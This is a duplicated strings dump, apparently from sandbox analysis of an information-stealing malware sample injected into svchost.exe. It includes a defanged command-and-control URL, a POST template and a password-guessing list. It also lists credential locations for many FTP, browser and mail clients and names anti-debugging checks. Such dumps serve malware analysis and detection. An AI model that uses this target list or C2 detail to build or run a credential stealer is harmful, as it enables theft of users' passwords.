KERNEL32.DLL

KERNEL32.DLL

ole32.dll

ole32.dll

WS2_32.dll

WS2_32.dll

kernel32.dll

kernel32.dll

svchost.exe_4068_rwx_04000000_00215000:

Qgmail-smtp-in.l.goo

Qgmail-smtp-in.l.goo

gle.com

gle.com

w_.yahN 'sbchob

w_.yahN 'sbchob

.LoadLibram

.LoadLibram

st.exe

st.exe

4567890

4567890

gmail-smtp-in.l.google.com

gmail-smtp-in.l.google.com

smtp.live.com

smtp.live.com

smtp.mail.yahoo.com

smtp.mail.yahoo.com

smtp.sbcglobal.yahoo.com

smtp.sbcglobal.yahoo.com

smtp.directcon.net

smtp.directcon.net

mail.airmail.net

mail.airmail.net

smtp.compuserve.com

smtp.compuserve.com

\system32\svchost.exe

\system32\svchost.exe

.reloc

.reloc

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

CP8.PG4

CP8.PG4

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

#W.JW

#W.JW

..LQ0

..LQ0

?.vgl

?.vgl

%u!T]'

%u!T]'

.rzsQ1 $

.rzsQ1 $

'=\&^4(8

'=\&^4(8

}kE%x

}kE%x

5?4#)

5?4#)

;2. ; 43

;2. ; 43

35%'8*

35%'8*

{$%S U

{$%S U

;*.*

;*.*

[$%Sx%J

[$%Sx%J

.ic?i

.ic?i

=.HRo/:

=.HRo/:

%d:p-S{W

%d:p-S{W

g%cH\F

g%cH\F

n.SBuu

n.SBuu

dh.rd

dh.rd

Wh%U1

Wh%U1

".eSH

".eSH

?].FF

?].FF

%X$\c>:

%X$\c>:

%X$\c>9

%X$\c>9

.wu'AN3v*

.wu'AN3v*

a:.CBV6

a:.CBV6

*0'^6?4=

*0'^6?4=

:W%C-

:W%C-

5:$7/8!6,

5:$7/8!6,

geV.hRGJ_

geV.hRGJ_

8.ez1%'

8.ez1%'

`1.OU2

`1.OU2

I/%UT

I/%UT

vu! r.Oe

vu! r.Oe

.WVV1

.WVV1

x[%"P.RD9

x[%"P.RD9

.G-.QZT%

.G-.QZT%

".$^9#?>7

".$^9#?>7

4o6%sS

4o6%sS

..FGl

..FGl

.ec53 RU

.ec53 RU

8&&9,]80

8&&9,]80

('T3\C)%C

('T3\C)%C

.ec>"

.ec>"

-'j-%xX

-'j-%xX

-5}:

-5}:

.qx&gx

.qx&gx

~:4.HA8

~:4.HA8

".dovZI

".dovZI

Fh.rA}A)uj

Fh.rA}A)uj

OÅ“W=(!

OÅ“W=(!

&%SVa>

&%SVa>

h.jYw]bT

h.jYw]bT

ZR_-.FS

ZR_-.FS

TXE6.gp

TXE6.gp

YYU;.gdRb

YYU;.gdRb

.CueE

.CueE

8F?A%x

8F?A%x

`.Ja{#?

`.Ja{#?

`.rdata

`.rdata

@.data

@.data

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

hXXp://%s/

hXXp://%s/

HttpAddRequestHeadersA

HttpAddRequestHeadersA

InternetCrackUrlA

InternetCrackUrlA

InternetOpenUrlA

InternetOpenUrlA

mthR%d&

mthR%d&

ckUrl(Xo

ckUrl(Xo

svchost.exe_4084:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

%d.%d.%d %d %d SP %d.%d

%d.%d.%d %d %d SP %d.%d

Windows Vista

Windows Vista

Windows Server 2008

Windows Server 2008

Windows 7

Windows 7

Windows Server 2008 R2

Windows Server 2008 R2

Windows Server 2003 R2

Windows Server 2003 R2

Windows Storage Server 2003

Windows Storage Server 2003

Windows Home Server

Windows Home Server

Windows XP Professional x64 Edition

Windows XP Professional x64 Edition

Windows Server 2003

Windows Server 2003

Web Edition

Web Edition

Windows XP

Windows XP

Windows 2000

Windows 2000

Chrome

Chrome

Opera

Opera

Firefox

Firefox

WS_FTP

WS_FTP

Windows Commander

Windows Commander

TurboFTP

TurboFTP

SmartFTP

SmartFTP

CuteFTP

CuteFTP

CoreFTP

CoreFTP

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

FTPRush

FTPRush

ALFTP

ALFTP

Software\Microsoft\Windows\CurrentVersion\Uninstall

Software\Microsoft\Windows\CurrentVersion\Uninstall

###ftp_clients

###ftp_clients

a Float Denormal Operand

a Float Denormal Operand

a Float Invalid Operation

a Float Invalid Operation

0xx:

0xx:

EDI: 0xx ESI: 0xx EAX: 0xx

EDI: 0xx ESI: 0xx EAX: 0xx

EBX: 0xx ECX: 0xx EDX: 0xx

EBX: 0xx ECX: 0xx EDX: 0xx

EIP: 0xx EBP: 0xx SegCs: 0xx

EIP: 0xx EBP: 0xx SegCs: 0xx

EFlags: 0xx ESP: 0xx SegSs: 0xx

EFlags: 0xx ESP: 0xx SegSs: 0xx

%s (0xx) at x:x.

%s (0xx) at x:x.

RAM: total %d MB, free %d MB, load %d%%

RAM: total %d MB, free %d MB, load %d%%

Pagefile: total %d MB, free %d MB

Pagefile: total %d MB, free %d MB

Virtual: total %d MB, free %d MB

Virtual: total %d MB, free %d MB

\\.\PhysicalDrive%d

\\.\PhysicalDrive%d

Disk %d: (%lu.lu Gb)

Disk %d: (%lu.lu Gb)

index.dat

index.dat

hXXp://

hXXp://

\Mozilla

\Mozilla

places.sqlite

places.sqlite

\Opera

\Opera

*history.dat

*history.dat

*.adr

*.adr

mssys%u

mssys%u

MyDefaultKeyContainer

MyDefaultKeyContainer

software\microsoft\windows\currentversion

software\microsoft\windows\currentversion

7CC12595-21BC-4dcc-9381-151E83834BBD

7CC12595-21BC-4dcc-9381-151E83834BBD

dbghelp.dll

dbghelp.dll

sbiedll.dll

sbiedll.dll

olly*.exe

olly*.exe

hXXp://%s

hXXp://%s

%s-%u

%s-%u

Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

drop.io

drop.io

dropmefiles.com

dropmefiles.com

VVV.mediafire.com

VVV.mediafire.com

VVV.egnyte.com

VVV.egnyte.com

free.mailbigfile.com

free.mailbigfile.com

VVV.royalmail.com

VVV.royalmail.com

wikisend.com

wikisend.com

pando.com

pando.com

VVV.senduit.com

VVV.senduit.com

VVV.filedropper.com

VVV.filedropper.com

\system32\svchost.exe

\system32\svchost.exe

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

SHLWAPI.dll

SHLWAPI.dll

HttpQueryInfoA

HttpQueryInfoA

InternetCrackUrlA

InternetCrackUrlA

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpSendRequestA

HttpSendRequestA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

CryptExportKey

CryptExportKey

CryptImportKey

CryptImportKey

CryptGenKey

CryptGenKey

CryptDestroyKey

CryptDestroyKey

RegOpenKeyExA

RegOpenKeyExA

RegCloseKey

RegCloseKey

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

RegEnumKeyExA

RegEnumKeyExA

RegOpenKeyA

RegOpenKeyA

frimeset.com

frimeset.com

F2FC16BF-E460-81E2-8D73-D266D6162E8C

F2FC16BF-E460-81E2-8D73-D266D6162E8C

%System%\svchost.exe

%System%\svchost.exe

svchost.exe_4084_rwx_04000000_0000D000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

%d.%d.%d %d %d SP %d.%d

%d.%d.%d %d %d SP %d.%d

Windows Vista

Windows Vista

Windows Server 2008

Windows Server 2008

Windows 7

Windows 7

Windows Server 2008 R2

Windows Server 2008 R2

Windows Server 2003 R2

Windows Server 2003 R2

Windows Storage Server 2003

Windows Storage Server 2003

Windows Home Server

Windows Home Server

Windows XP Professional x64 Edition

Windows XP Professional x64 Edition

Windows Server 2003

Windows Server 2003

Web Edition

Web Edition

Windows XP

Windows XP

Windows 2000

Windows 2000

Chrome

Chrome

Opera

Opera

Firefox

Firefox

WS_FTP

WS_FTP

Windows Commander

Windows Commander

TurboFTP

TurboFTP

SmartFTP

SmartFTP

CuteFTP

CuteFTP

CoreFTP

CoreFTP

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

FTPRush

FTPRush

ALFTP

ALFTP

Software\Microsoft\Windows\CurrentVersion\Uninstall

Software\Microsoft\Windows\CurrentVersion\Uninstall

###ftp_clients

###ftp_clients

a Float Denormal Operand

a Float Denormal Operand

a Float Invalid Operation

a Float Invalid Operation

0xx:

0xx:

EDI: 0xx ESI: 0xx EAX: 0xx

EDI: 0xx ESI: 0xx EAX: 0xx

EBX: 0xx ECX: 0xx EDX: 0xx

EBX: 0xx ECX: 0xx EDX: 0xx

EIP: 0xx EBP: 0xx SegCs: 0xx

EIP: 0xx EBP: 0xx SegCs: 0xx

EFlags: 0xx ESP: 0xx SegSs: 0xx

EFlags: 0xx ESP: 0xx SegSs: 0xx

%s (0xx) at x:x.

%s (0xx) at x:x.

RAM: total %d MB, free %d MB, load %d%%

RAM: total %d MB, free %d MB, load %d%%

Pagefile: total %d MB, free %d MB

Pagefile: total %d MB, free %d MB

Virtual: total %d MB, free %d MB

Virtual: total %d MB, free %d MB

\\.\PhysicalDrive%d

\\.\PhysicalDrive%d

Disk %d: (%lu.lu Gb)

Disk %d: (%lu.lu Gb)

index.dat

index.dat

hXXp://

hXXp://

\Mozilla

\Mozilla

places.sqlite

places.sqlite

\Opera

\Opera

*history.dat

*history.dat

*.adr

*.adr

mssys%u

mssys%u

MyDefaultKeyContainer

MyDefaultKeyContainer

software\microsoft\windows\currentversion

software\microsoft\windows\currentversion

7CC12595-21BC-4dcc-9381-151E83834BBD

7CC12595-21BC-4dcc-9381-151E83834BBD

dbghelp.dll

dbghelp.dll

sbiedll.dll

sbiedll.dll

olly*.exe

olly*.exe

hXXp://%s

hXXp://%s

%s-%u

%s-%u

Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

drop.io

drop.io

dropmefiles.com

dropmefiles.com

VVV.mediafire.com

VVV.mediafire.com

VVV.egnyte.com

VVV.egnyte.com

free.mailbigfile.com

free.mailbigfile.com

VVV.royalmail.com

VVV.royalmail.com

wikisend.com

wikisend.com

pando.com

pando.com

VVV.senduit.com

VVV.senduit.com

VVV.filedropper.com

VVV.filedropper.com

\system32\svchost.exe

\system32\svchost.exe

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

SHLWAPI.dll

SHLWAPI.dll

HttpQueryInfoA

HttpQueryInfoA

InternetCrackUrlA

InternetCrackUrlA

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpSendRequestA

HttpSendRequestA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

CryptExportKey

CryptExportKey

CryptImportKey

CryptImportKey

CryptGenKey

CryptGenKey

CryptDestroyKey

CryptDestroyKey

RegOpenKeyExA

RegOpenKeyExA

RegCloseKey

RegCloseKey

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

RegEnumKeyExA

RegEnumKeyExA

RegOpenKeyA

RegOpenKeyA

frimeset.com

frimeset.com

F2FC16BF-E460-81E2-8D73-D266D6162E8C

F2FC16BF-E460-81E2-8D73-D266D6162E8C

%System%\svchost.exe

%System%\svchost.exe

svchost.exe_324:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

%Sz(G

%Sz(G

O"}O_þM

O"}O_þM

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_324_rwx_04000000_00007000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

hXXp://%s/

hXXp://%s/

HttpSendRequestA

HttpSendRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

HttpQueryInfoA

HttpQueryInfoA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

ole32.dll

ole32.dll

svchost.exe_324_rwx_13140000_01550000:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

%Sz(G

%Sz(G

O"}O_þM

O"}O_þM

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_1712:

.text

.text

`.rdata

`.rdata

@.data

@.data

Ph.gA

Ph.gA

More information: hXXp://VVV.ibsensoftware.com/

More information: hXXp://VVV.ibsensoftware.com/

password

password

12345678

12345678

password1

password1

monkey

monkey

1234567

1234567

123456789

123456789

7777777

7777777

asshole

asshole

mickey

mickey

passw0rd

passw0rd

smokey

smokey

hockey

hockey

11111111

11111111

windows

windows

1234567890

1234567890

hXXp://46.105.238.41/gate.php

hXXp://46.105.238.41/gate.php

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

kernel32.dll

kernel32.dll

netapi32.dll

netapi32.dll

ole32.dll

ole32.dll

advapi32.dll

advapi32.dll

CryptGetUserKey

CryptGetUserKey

CryptExportKey

CryptExportKey

CryptDestroyKey

CryptDestroyKey

crypt32.dll

crypt32.dll

CertOpenSystemStoreA

CertOpenSystemStoreA

CertEnumCertificatesInStore

CertEnumCertificatesInStore

CertCloseStore

CertCloseStore

CryptAcquireCertificatePrivateKey

CryptAcquireCertificatePrivateKey

msi.dll

msi.dll

pstorec.dll

pstorec.dll

^shell32.dll

^shell32.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

explorer.exe

explorer.exe

POST %s HTTP/1.0

POST %s HTTP/1.0

Host: %s

Host: %s

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

{X-X-X-XX-XXXXXX}

{X-X-X-XX-XXXXXX}

Software\Far\Plugins\FTP\Hosts

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Password

Password

wcx_PTF.ini

wcx_PTF.ini

FtpIniName

FtpIniName

Software\Ghisler\Windows Commander

Software\Ghisler\Windows Commander

\Ipswitch\WS_FTP

\Ipswitch\WS_FTP

\win.ini

\win.ini

WS_FTP

WS_FTP

CUTEFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\CuteFTP

\sm.dat

\sm.dat

\Sites.dat

\Sites.dat

\Quick.dat

\Quick.dat

\History.dat

\History.dat

\sitemanager.xml

\sitemanager.xml

\recentservers.xml

\recentservers.xml

\filezilla.xml

\filezilla.xml

Port

Port

Server.Host

Server.Host

Server.User

Server.User

Server.Pass

Server.Pass

Server.Port

Server.Port

Last Server Pass

Last Server Pass

Last Server Port

Last Server Port

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

ftplist.txt

ftplist.txt

Software\BPFTP\Bullet Proof FTP\Main

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

Software\BPFTP

\SmartFTP

\SmartFTP

Favorites.dat

Favorites.dat

History.dat

History.dat

addrbk.dat

addrbk.dat

quick.dat

quick.dat

\TurboFTP

\TurboFTP

Software\TurboFTP

Software\TurboFTP

Software\Sota\FFFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

Software\FTPWare\COREFTP\Sites

profiles.xml

profiles.xml

\FTP Explorer

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

Software\FTP Explorer\Profiles

PasswordType

PasswordType

Login

Login

FtpSite.xml

FtpSite.xml

\sites.xml

\sites.xml

\FTPRush

\FTPRush

RushSite.xml

RushSite.xml

FtpPort

FtpPort

Software\Cryer\WebSitePublisher

Software\Cryer\WebSitePublisher

bitkinex.ds

bitkinex.ds

\drives.js

\drives.js

"password" : "

"password" : "

_Password

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

Software\NCH Software\ClassicFTP\FTPAccounts

FtpServer

FtpServer

FtpUserName

FtpUserName

FtpPassword

FtpPassword

_FtpPassword

_FtpPassword

FtpDirectory

FtpDirectory

Software\FTPClient\Sites

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

ftplast.osd

ftplast.osd

\SharedSettings.ccs

\SharedSettings.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings.sqlite

\SharedSettings.sqlite

\SharedSettings_1_0_5.sqlite

\SharedSettings_1_0_5.sqlite

leapftp

leapftp

unleap.exe

unleap.exe

sites.dat

sites.dat

sites.ini

sites.ini

\LeapWare\LeapFTP

\LeapWare\LeapFTP

PortNumber

PortNumber

\32BitFtp.ini

\32BitFtp.ini

NDSites.ini

NDSites.ini

PassWord

PassWord

Software\South River Technologies\WebDrive\Connections

Software\South River Technologies\WebDrive\Connections

FTP CONTROL

FTP CONTROL

FTPCON

FTPCON

hXXp://

hXXp://

hXXps://

hXXps://

PTF://

PTF://

opera

opera

wand.dat

wand.dat

_Software\Opera Software

_Software\Opera Software

Opera.HTML\shell\open\command

Opera.HTML\shell\open\command

wiseftpsrvs.bin

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

wiseftpsrvs.ini

wiseftpsrvs.ini

wisePTF.ini

wisePTF.ini

FTPVoyager.ftp

FTPVoyager.ftp

FTPVoyager.qc

FTPVoyager.qc

\RhinoSoft.com

\RhinoSoft.com

nss3.dll

nss3.dll

PK11_GetInternalKeySlot

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3.dll

sqlite3_open

sqlite3_open

sqlite3_close

sqlite3_close

sqlite3_prepare

sqlite3_prepare

sqlite3_step

sqlite3_step

sqlite3_column_bytes

sqlite3_column_bytes

sqlite3_column_blob

sqlite3_column_blob

mozsqlite3.dll

mozsqlite3.dll

profiles.ini

profiles.ini

PathToExe

PathToExe

prefs.js

prefs.js

signons.sqlite

signons.sqlite

signons.txt

signons.txt

signons2.txt

signons2.txt

signons3.txt

signons3.txt

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

Firefox

Firefox

\Mozilla\Firefox\

\Mozilla\Firefox\

Software\Mozilla

Software\Mozilla

fireFTPsites.dat

fireFTPsites.dat

SeaMonkey

SeaMonkey

\Mozilla\SeaMonkey\

\Mozilla\SeaMonkey\

Mozilla

Mozilla

\Mozilla\Profiles\

\Mozilla\Profiles\

Software\LeechFTP

Software\LeechFTP

bookmark.dat

bookmark.dat

SiteInfo.QFP

SiteInfo.QFP

WinFTP

WinFTP

sites.db

sites.db

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

servers.xml

servers.xml

\FTPGetter

\FTPGetter

ESTdb2.dat

ESTdb2.dat

QData.dat

QData.dat

\Estsoft\ALFTP

\Estsoft\ALFTP

MS IE FTP Passwords

MS IE FTP Passwords

SiteServer %d\Host

SiteServer %d\Host

SiteServer %d\WebUrl

SiteServer %d\WebUrl

SiteServer %d\Remote Directory

SiteServer %d\Remote Directory

SiteServer %d-User

SiteServer %d-User

SiteServer %d-User PW

SiteServer %d-User PW

%s\Keychain

%s\Keychain

SiteServer %d\SFTP

SiteServer %d\SFTP

DeluxeFTP

DeluxeFTP

sites.xml

sites.xml

Web Data

Web Data

Login Data

Login Data

SQLite format 3

SQLite format 3

logins

logins

origin_url

origin_url

password_value

password_value

\Google\Chrome

\Google\Chrome

\ChromePlus

\ChromePlus

Software\ChromePlus

Software\ChromePlus

\Nichrome

\Nichrome

Staff-FTP

Staff-FTP

SM.arch

SM.arch

FreshFTP

FreshFTP

BlazeFtp

BlazeFtp

site.dat

site.dat

LastPassword

LastPassword

LastPort

LastPort

Software\FlashPeak\BlazeFtp\Settings

Software\FlashPeak\BlazeFtp\Settings

\BlazeFtp

\BlazeFtp

FTP .Link\shell\open\command

FTP .Link\shell\open\command

GoFTP

GoFTP

Connections.txt

Connections.txt

3D-FTP

3D-FTP

\3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

EasyFTP

password 51:b:

password 51:b:

FTP Now

FTP Now

FTPNow

FTPNow

SOFTWARE\Robo-FTP 3.7\Scripts

SOFTWARE\Robo-FTP 3.7\Scripts

SOFTWARE\Robo-FTP 3.7\FTPServers

SOFTWARE\Robo-FTP 3.7\FTPServers

FTP Count

FTP Count

FTP File%d

FTP File%d

2.5.29.37

2.5.29.37

Software\LinasFTP\Site Manager

Software\LinasFTP\Site Manager

.duck

.duck

user.config

user.config

NppFTP.xml

NppFTP.xml

FTP destination server

FTP destination server

FTP destination user

FTP destination user

FTP destination password

FTP destination password

FTP destination port

FTP destination port

FTP destination catalog

FTP destination catalog

FTP profiles

FTP profiles

FTPShell

FTPShell

ftpshell.fsi

ftpshell.fsi

Software\MAS-Soft\FTPInfo\Setup

Software\MAS-Soft\FTPInfo\Setup

\FTPInfo

\FTPInfo

ServerList.xml

ServerList.xml

ftpsite.ini

ftpsite.ini

FTPList.db

FTPList.db

\MapleStudio\ChromePlus

\MapleStudio\ChromePlus

Software\Nico Mak Computing\WinZip\FTP

Software\Nico Mak Computing\WinZip\FTP

My FTP

My FTP

project.ini

project.ini

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

NovaFTP.db

NovaFTP.db

\INSoftware\NovaFTP

\INSoftware\NovaFTP

.oeaccount

.oeaccount

\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Mail

\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

Mailbox.ini

Mailbox.ini

\PocoSystem.ini

\PocoSystem.ini

accounts.ini

accounts.ini

PopPort

PopPort

PopPassword

PopPassword

SmtpServer

SmtpServer

SmtpPort

SmtpPort

SmtpAccount

SmtpAccount

SmtpPassword

SmtpPassword

account.cfg

account.cfg

account.cfn

account.cfn

Dir #%d

Dir #%d

SMTP Email Address

SMTP Email Address

SMTP Server

SMTP Server

SMTP User Name

SMTP User Name

HTTP User

HTTP User

HTTP Server URL

HTTP Server URL

HTTPMail User Name

HTTPMail User Name

HTTPMail Server

HTTPMail Server

SMTP User

SMTP User

POP3 Port

POP3 Port

SMTP Port

SMTP Port

IMAP Port

IMAP Port

POP3 Password2

POP3 Password2

